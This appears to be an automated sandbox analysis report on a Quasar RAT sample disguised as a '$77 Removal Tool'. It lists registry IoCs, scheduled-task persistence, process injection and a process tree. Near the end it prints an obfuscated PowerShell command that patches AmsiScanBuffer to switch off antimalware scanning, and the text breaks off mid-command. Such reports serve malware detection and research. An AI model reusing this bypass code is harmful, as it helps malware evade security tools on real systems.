quasar | 0ab74ff99068e4cdaf14dc3770619637a92381be06682ff77578050b4ab4265e

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5076	schtasks.exe
2860	SCHTASKS.exe
1640	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 56 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000e6e1f8e6da58da43b3e37d8f53ff339b000000000200000000001066000000010000200000007e075a8bca7ff2760c624acb3bb779b8dce18f95c859d023092260ad7d922b31000000000e8000000002000020000000b765699a8bcfb45b42212b7ab6f766a7f4103eb6082b478617845ae2574a986cb0030000c9fe8d5b2ed2e56dd4c5ab85472a11dbcbd1d722074144b4425702fe776674ad0f5546c4f107ddee707b347239f372de3b7ef2f491ac2d8b02937d2bda0438df660b833229381f51415396906a28f22e0c66bd9d82d4ef3d43636081da3871cfdc2e5d859011e60f83ac51046c25a13900e9de6ca64f4d36e9391dd2fe1e2c02afb46934bdc72b78851257187a31c7a11e6f4f1569b685cc940b0de6f2fb7c20f8faa8a78842e497ccc99918d6e552cd6a4667df77276bb791db3e8b6d2e212c5354105018add961eb2dd333f001e7e9dba9dcfcff2cae25f8fc3250934cb1803bfcbb317a05cfb6e0f472593d799b56707bbeb1bede3f9745ad8ebba36765bd253c98b29b9f2dcdd4cbe02eb93fcd523e2cff7a84ccc6aa682ad84f8e31ed651cc1d3bfdac8712d73549d224a97d143e5dd98f4584b2a12e6ea48e00b19a94e164701f16e38e5e1efc9ecc7a59db5ca0dc06f072ecf911640e34b21cc7044c1c38fff8b1c52b9055021f0a57c549f0b1842147d6717cf0d2267337c64ff1db01548161a8ee063f7447e9417c5e39968e62a83f031b1d869008c35d7d0c9698db80fa4e400dcef11c8c63742098d35df60280b25fc4074aa033f7a6d6b1a2e70449acee84c352bfa92dc8de547fb640b38990cc3a826a2716f014adfba0c5149f51fe3d1799525e845251ce6dda4bf9cc1b87da4ad54104a9edd30bac7cb2575eac07294109e624fab8abe4c3d9ae5b666e1778944d5e94d05076506bbe2f5f7907d30c46ee50bcbe42c20996038af267ac36bc9d4ed86ee8ec713a56face6ea384c5685fb8faa01b927d6e1f1031ddc85b9537e8d7423025e941ae5dd4204ef320da863b513ab8504d767db7bf48dddb84267f72f48f80fc9011e70a4c5fcd01c4c7d359065a130706d814275523996ae48bff906d298905fd8582364b704c3b61a7b5c02647c604ed45a560c71bcf77fb3949b00d94734da47829079a28a393f6d5962b9eec2c96a1c25a20451b09f4bb68303e6387cf2dfb281943660a0fdae91657f0162babf2d682f2d562ba833add58e4b44a7ee7ede9bbbe230ca9552499108f70314f15313ba276387b3168bc001289fa15b2d7faa8d17df8ef358af34d14840a88cef735e99e56de2c2fbe12f7ad9bafe038ac18aa49adc9a7fa37bc4aa4f236f2be1873e0f6ec5d97a8e6fd8a93d5ca8eca177d9371b83519604e8fdcc00c0f072fad4d7c13b44129f047f8230747910f33f779497fa0e4193b3e98140fe1e235cc53aa417ceb6516c0097daede11b37887dcff01520c17c689b75adc7233b23835a6012c07e1c8619841340000000903da735d2bd4bd9c7443f5c071076df1cfde5c30c552915765944ac3f408e54e2c79dbafa470166ad8f8d495e95b3493dcc976a508662859294ec468a2fcaf9	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018000FED5919E3 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000e6e1f8e6da58da43b3e37d8f53ff339b000000000200000000001066000000010000200000004a7c818c40415f335c69c795ee0d2a6aac798b2d5bff4313da923ed9474ba9bb000000000e80000000020000200000001b2ee7326ba4395a179e61a3a720087a78455b21c27bdf8e054be7a2e0bd35b680000000184eae0961e14283a7ae16691df071cbca40d26295960d43f7c87f7c8a64191b8cc07ec170af6029d9c1949fdcc5999f0d69502f5417e4bd44fda2cb94d35470e79b7bf76b6d7251d436e7db824f21b8012c0e6aad15c5f4bdd24f86fbf6d07dbe380617a811060c833af6eb9d5d6ce75b58e605328692fae3ebc22834f1c2de4000000083569a4a6d9a4394b9d5ee2c72398479297175bc8c751f820f81afe50b8a293779008dde6a9bae30a60c687c441617b69b1428923a82a2ff7c56a6ab7683f833	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018000FED5919E3"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018000FED5919E3"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2928	powershell.EXE
2928	powershell.EXE
2928	powershell.EXE
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3420	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	$77 Removal Tool.exe
Token: SeDebugPrivilege	4668	$77Remover.exe
Token: SeDebugPrivilege	2928	powershell.EXE
Token: SeDebugPrivilege	2928	powershell.EXE
Token: SeDebugPrivilege	1532	dllhost.exe
Token: SeShutdownPrivilege	4296	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4296	mousocoreworker.exe
Token: SeShutdownPrivilege	4296	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4296	mousocoreworker.exe
Token: SeShutdownPrivilege	4296	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4296	mousocoreworker.exe
Token: SeShutdownPrivilege	3868	RuntimeBroker.exe
Token: SeShutdownPrivilege	4296	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4296	mousocoreworker.exe
Token: SeShutdownPrivilege	3868	RuntimeBroker.exe
Token: SeShutdownPrivilege	4296	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4296	mousocoreworker.exe
Token: SeShutdownPrivilege	4296	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4296	mousocoreworker.exe
Token: SeShutdownPrivilege	4296	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4296	mousocoreworker.exe
Token: SeShutdownPrivilege	3868	RuntimeBroker.exe
Token: SeShutdownPrivilege	4296	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4296	mousocoreworker.exe
Token: SeShutdownPrivilege	4296	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4296	mousocoreworker.exe
Token: SeShutdownPrivilege	3868	RuntimeBroker.exe
Token: SeShutdownPrivilege	3420	Explorer.EXE
Token: SeCreatePagefilePrivilege	3420	Explorer.EXE
Token: SeShutdownPrivilege	3420	Explorer.EXE
Token: SeCreatePagefilePrivilege	3420	Explorer.EXE
Token: SeShutdownPrivilege	3420	Explorer.EXE
Token: SeCreatePagefilePrivilege	3420	Explorer.EXE
Token: SeShutdownPrivilege	3420	Explorer.EXE
Token: SeCreatePagefilePrivilege	3420	Explorer.EXE
Token: SeDebugPrivilege	2428	taskmgr.exe
Token: SeSystemProfilePrivilege	2428	taskmgr.exe
Token: SeCreateGlobalPrivilege	2428	taskmgr.exe

Suspicious use of FindShellTrayWindow 15 IoCs

pid	Process
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
3420	Explorer.EXE
3420	Explorer.EXE

Suspicious use of SendNotifyMessage 13 IoCs

pid	Process
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe
2428	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 5076	2560	$77 Removal Tool.exe	87
PID 2560 wrote to memory of 5076	2560	$77 Removal Tool.exe	87
PID 2560 wrote to memory of 5076	2560	$77 Removal Tool.exe	87
PID 2560 wrote to memory of 4668	2560	$77 Removal Tool.exe	89
PID 2560 wrote to memory of 4668	2560	$77 Removal Tool.exe	89
PID 2560 wrote to memory of 4668	2560	$77 Removal Tool.exe	89
PID 2560 wrote to memory of 3976	2560	$77 Removal Tool.exe	91
PID 2560 wrote to memory of 3976	2560	$77 Removal Tool.exe	91
PID 2560 wrote to memory of 3976	2560	$77 Removal Tool.exe	91
PID 2560 wrote to memory of 2860	2560	$77 Removal Tool.exe	92
PID 2560 wrote to memory of 2860	2560	$77 Removal Tool.exe	92
PID 2560 wrote to memory of 2860	2560	$77 Removal Tool.exe	92
PID 4668 wrote to memory of 1640	4668	$77Remover.exe	98
PID 4668 wrote to memory of 1640	4668	$77Remover.exe	98
PID 4668 wrote to memory of 1640	4668	$77Remover.exe	98
PID 2928 wrote to memory of 1532	2928	powershell.EXE	101
PID 2928 wrote to memory of 1532	2928	powershell.EXE	101
PID 2928 wrote to memory of 1532	2928	powershell.EXE	101
PID 2928 wrote to memory of 1532	2928	powershell.EXE	101
PID 2928 wrote to memory of 1532	2928	powershell.EXE	101
PID 2928 wrote to memory of 1532	2928	powershell.EXE	101
PID 2928 wrote to memory of 1532	2928	powershell.EXE	101
PID 2928 wrote to memory of 1532	2928	powershell.EXE	101
PID 1532 wrote to memory of 612	1532	dllhost.exe	5
PID 1532 wrote to memory of 672	1532	dllhost.exe	7
PID 1532 wrote to memory of 960	1532	dllhost.exe	12
PID 1532 wrote to memory of 316	1532	dllhost.exe	13
PID 1532 wrote to memory of 388	1532	dllhost.exe	14
PID 1532 wrote to memory of 1040	1532	dllhost.exe	16
PID 1532 wrote to memory of 1120	1532	dllhost.exe	17
PID 1532 wrote to memory of 1128	1532	dllhost.exe	18
PID 1532 wrote to memory of 1164	1532	dllhost.exe	19
PID 1532 wrote to memory of 1180	1532	dllhost.exe	20
PID 1532 wrote to memory of 1260	1532	dllhost.exe	21
PID 1532 wrote to memory of 1308	1532	dllhost.exe	22
PID 1532 wrote to memory of 1344	1532	dllhost.exe	23
PID 1532 wrote to memory of 1416	1532	dllhost.exe	24
PID 1532 wrote to memory of 1448	1532	dllhost.exe	25
PID 1532 wrote to memory of 1540	1532	dllhost.exe	26
PID 1532 wrote to memory of 1556	1532	dllhost.exe	27
PID 1532 wrote to memory of 1664	1532	dllhost.exe	28
PID 1532 wrote to memory of 1696	1532	dllhost.exe	29
PID 1532 wrote to memory of 1732	1532	dllhost.exe	30
PID 1532 wrote to memory of 1772	1532	dllhost.exe	31
PID 1532 wrote to memory of 1816	1532	dllhost.exe	32
PID 1532 wrote to memory of 1948	1532	dllhost.exe	33
PID 1532 wrote to memory of 1964	1532	dllhost.exe	34
PID 1532 wrote to memory of 1972	1532	dllhost.exe	35
PID 1532 wrote to memory of 1460	1532	dllhost.exe	36
PID 1532 wrote to memory of 1932	1532	dllhost.exe	37
PID 1532 wrote to memory of 2144	1532	dllhost.exe	39
PID 1532 wrote to memory of 2188	1532	dllhost.exe	40
PID 1532 wrote to memory of 2336	1532	dllhost.exe	41
PID 1532 wrote to memory of 2356	1532	dllhost.exe	42
PID 1532 wrote to memory of 2364	1532	dllhost.exe	43
PID 1532 wrote to memory of 2540	1532	dllhost.exe	44
PID 1532 wrote to memory of 2616	1532	dllhost.exe	45
PID 1532 wrote to memory of 2632	1532	dllhost.exe	46
PID 1532 wrote to memory of 2656	1532	dllhost.exe	47
PID 1532 wrote to memory of 2668	1532	dllhost.exe	48
PID 1532 wrote to memory of 2888	1532	dllhost.exe	49
PID 1532 wrote to memory of 2764	1532	dllhost.exe	50
PID 1532 wrote to memory of 1480	1532	dllhost.exe	51
PID 1532 wrote to memory of 3140	1532	dllhost.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bb2b34bd-7066-4e51-8b98-7351107022fe}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1532

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1128
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wjImmlZpmsUu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nzppuECMcHTOFH,[Parameter(Position=1)][Type]$NEeyLgQgXp)$rVoDEitwLbq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'le'+[Char](99)+''+[Char](116)+''+[Char](101)+'dD'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+'m'+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+[Char](111)+'du'+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+'te'+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+'s'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+'S'+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+'i'+'C'+'la'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$rVoDEitwLbq.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+'ec'+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+',Hi'+'d'+'eB'+[Char](121)+''+[Char](83)+'i'+'g'+''+','+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$nzppuECMcHTOFH).SetImplementationFlags(''+'R'+'u'+'n'+''+'t'+''+'i'+''+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');$rVoDEitwLbq.DefineMethod(''+'I'+''+'n'+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'H'+'i'+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+'N'+'e'+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+''+[Char](44)+''+'V'+'i'+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$NEeyLgQgXp,$nzppuECMcHTOFH).SetImplementationFlags(''+[Char](82)+''+'u'+'nti'+'m'+''+'e'+''+','+'M'+[Char](97)+'n'+[Char](97)+'ge'+'d'+'');Write-Output $rVoDEitwLbq.CreateType();}$fmuyGSTDTYrZf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+'l')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'of'+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+'.'+'Un'+[Char](115)+''+'a'+'f'+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+'t'+''+'h'+''+[Char](111)+'d'+[Char](115)+'');$gUzXFtguMvZjcp=$fmuyGSTDTYrZf.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+'c'+'Ad'+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hnXDWEIjpcAfTiTDWUZ=wjImmlZpmsUu @([String])([IntPtr]);$ByCMKSwbhiLrXOduYxNkQg=wjImmlZpmsUu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MKYCFKyvCEi=$fmuyGSTDTYrZf.GetMethod('G'+'e'+''+[Char](116)+''+'M'+''+[Char](111)+'du'+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+'l'+''+[Char](51)+''+'2'+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$NulybXVztypyMR=$gUzXFtguMvZjcp.Invoke($Null,@([Object]$MKYCFKyvCEi,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+'i'+[Char](98)+''+'r'+''+[Char](97)+'r'+[Char](121)+''+'A'+'')));$EqEGWDIoySWciFzIi=$gUzXFtguMvZjcp.Invoke($Null,@([Object]$MKYCFKyvCEi,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+'a'+[Char](108)+''+'P'+''+'r'+''+[Char](111)+''+'t'+''+'e'+''+'c'+''+'t'+'')));$YVVkfgT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NulybXVztypyMR,$hnXDWEIjpcAfTiTDWUZ).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$GfuSsBxPrwVKiYOfB=$gUzXFtguMvZjcp.Invoke($Null,@([Object]$YVVkfgT,[Object](''+'A'+''+[Char](109)+'si'+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$jZCDLzcqrR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EqEGWDIoySWciFzIi,$ByCMKSwbhiLrXOduYxNkQg).Invoke($GfuSsBxPrwVKiYOfB,[uint32]8,4,[ref]$jZCDLzcqrR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GfuSsBxPrwVKiYOfB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EqEGWDIoySWciFzIi,$ByCMKSwbhiLrXOduYxNkQg).In